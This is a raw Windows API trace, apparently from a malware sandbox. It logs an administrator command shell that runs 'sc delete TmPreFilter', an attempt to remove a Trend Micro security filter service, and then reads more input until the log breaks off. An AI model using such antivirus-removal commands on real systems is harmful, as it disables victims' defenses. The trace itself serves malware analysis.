lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0078.984] SetErrorMode (uMode=0x1) returned 0x1 [0078.984] GetProcessHeap () returned 0x240000 [0078.984] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c530, Size=0x62) returned 0x25c530 [0078.984] GetProcessHeap () returned 0x240000 [0078.984] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c530) returned 0x62 [0078.984] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0078.984] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0078.984] GetProcessHeap () returned 0x240000 [0078.984] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0078.984] GetProcessHeap () returned 0x240000 [0078.984] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0078.984] GetProcessHeap () returned 0x240000 [0078.984] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0078.984] GetProcessHeap () returned 0x240000 [0078.984] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0078.984] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0078.984] GetProcessHeap () returned 0x240000 [0078.984] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0078.985] GetProcessHeap () returned 0x240000 [0078.985] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0078.985] GetProcessHeap () returned 0x240000 [0078.985] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0078.985] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0078.985] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0078.985] GetLastError () returned 0x2 [0078.985] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0078.985] GetLastError () returned 0x2 [0078.985] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0078.985] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0078.986] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0078.986] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0078.986] GetLastError () returned 0x2 [0078.986] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0078.986] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0078.986] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0078.986] GetProcessHeap () returned 0x240000 [0078.987] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0078.987] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0078.987] GetProcessHeap () returned 0x240000 [0078.987] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0xa4) returned 0x259180 [0078.987] GetProcessHeap () returned 0x240000 [0078.987] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0xa4 [0078.987] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete TmPreFilter") returned 1 [0078.988] GetProcessHeap () returned 0x240000 [0078.988] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0078.988] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0078.988] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0078.988] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0078.988] GetProcessHeap () returned 0x240000 [0078.988] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0078.988] GetProcessHeap () returned 0x240000 [0078.988] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0078.988] GetProcessHeap () returned 0x240000 [0078.988] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0078.988] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete TmPreFilter", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete TmPreFilter", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete TmPreFilter", lpProcessInformation=0x1af360*(hProcess=0x50, hThread=0x54, dwProcessId=0x85c, dwThreadId=0x83c)) returned 1 [0078.997] CloseHandle (hObject=0x54) returned 1 [0078.997] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0078.997] GetProcessHeap () returned 0x240000 [0078.997] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0078.997] GetEnvironmentStringsW () returned 0x25ba10* [0078.997] GetProcessHeap () returned 0x240000 [0078.997] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0078.997] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0078.997] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0078.997] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd7000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0078.998] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0079.056] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0079.056] CloseHandle (hObject=0x50) returned 1 [0079.056] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0079.056] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0079.056] GetProcessHeap () returned 0x240000 [0079.056] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | out: hHeap=0x240000) returned 1 [0079.056] GetEnvironmentStringsW () returned 0x261b10* [0079.057] GetProcessHeap () returned 0x240000 [0079.057] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0079.057] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0079.057] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0079.057] GetProcessHeap () returned 0x240000 [0079.057] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0079.057] GetEnvironmentStringsW () returned 0x25ba10* [0079.057] GetProcessHeap () returned 0x240000 [0079.057] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0079.057] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0079.057] GetProcessHeap () returned 0x240000 [0079.057] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0079.057] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0079.057] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0079.058] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.058] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0079.058] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.058] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0079.058] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.058] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0079.058] GetConsoleOutputCP () returned 0x1b5 [0079.058] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0079.059] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0079.059] GetProcessHeap () returned 0x240000 [0079.059] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0079.059] GetProcessHeap () returned 0x240000 [0079.059] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0079.059] GetProcessHeap () returned 0x240000 [0079.059] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0079.059] GetProcessHeap () returned 0x240000 [0079.059] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c530 | out: hHeap=0x240000) returned 1 [0079.059] GetProcessHeap () returned 0x240000 [0079.059] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa40 | out: hHeap=0x240000) returned 1 [0079.059] GetProcessHeap () returned 0x240000 [0079.059] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0079.059] GetProcessHeap () returned 0x240000 [0079.059] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256510 | out: hHeap=0x240000) returned 1 [0079.059] GetProcessHeap () returned 0x240000 [0079.059] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0079.059] GetProcessHeap () returned 0x240000 [0079.059] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0079.059] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0079.059] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.059] GetFileType (hFile=0x120) returned 0x3 [0079.060] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.060] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0079.060] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0079.060] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0079.060] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0079.060] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0079.060] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0079.060] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.060] GetFileType (hFile=0x120) returned 0x3 [0079.060] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.060] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0079.060] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0079.060] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.060] GetFileType (hFile=0xb8) returned 0x3 [0079.060] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.060] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.060] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.060] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete TmPreFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0079.061] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.061] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.061] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.061] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete TmPreFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0079.061] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.061] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.061] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.061] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete TmPreFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0079.061] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.061] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.061] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.061] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete TmPreFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0079.061] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.061] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.061] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.061] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete TmPreFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0079.061] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.061] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.061] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.061] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete TmPreFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0079.062] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.062] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.062] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.062] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete TmPreFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0079.062] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.062] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.062] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.062] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te TmPreFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0079.062] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.062] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.062] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.062] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e TmPreFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0079.062] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.062] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.062] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.062] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" TmPreFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0079.062] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.062] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.062] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.063] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="TmPreFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0079.063] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.063] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.063] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.063] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="MPreFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0079.063] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.063] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.063] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.063] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="SreFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0079.063] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.063] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.063] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.063] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="meFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0079.063] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.063] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.063] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.063] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="aFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0079.064] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.064] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.064] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.064] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="rilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0079.064] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.064] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.064] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.064] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: 